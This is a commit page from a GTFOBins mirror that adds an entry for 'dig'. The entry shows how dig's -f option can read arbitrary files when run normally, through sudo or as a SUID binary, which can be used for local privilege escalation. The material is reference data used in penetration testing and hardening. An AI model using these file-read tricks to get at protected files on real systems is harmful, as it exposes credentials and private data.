mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add dig
This commit is contained in:
parent
9069b0c903
commit
01d4de40d2
16
_gtfobins/dig.md
Normal file
16
_gtfobins/dig.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
description: Each input line is treated as a lookup query for the `dig` command and the output is corrupted with the result or errors of the operation, so this may not be suitable for binary files. Grepping for `DiG` might help to filter out unwanted content.
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
dig -f $LFILE
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo dig -f $LFILE
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./dig -f $LFILE
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user